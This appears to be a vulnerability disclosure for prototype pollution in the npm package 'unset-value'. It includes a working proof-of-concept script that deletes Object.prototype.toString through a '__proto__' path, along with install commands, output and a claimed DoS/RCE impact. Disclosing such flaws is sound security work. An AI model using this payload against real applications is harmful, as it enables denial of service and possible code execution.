vulnerability prototype pollution
severity 9.1
language javascript
registry npm

✍️ Description

Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain.

🕵️‍♂️ Proof of Concept

  1. Create the following PoC file:
// poc.js
const unset = require('unset-value')

console.log('Before:', {}.toString)
unset({}, '__proto__.toString')
console.log('After:', {}.toString)
  1. Execute the following commands in terminal:
npm i unset-value # Install vulerable package
node poc.js #  Run the PoC
  1. Check the Output:
Before: [Function: toString]
After: undefined

💥 Impact

An attacker is able to DoS/RCE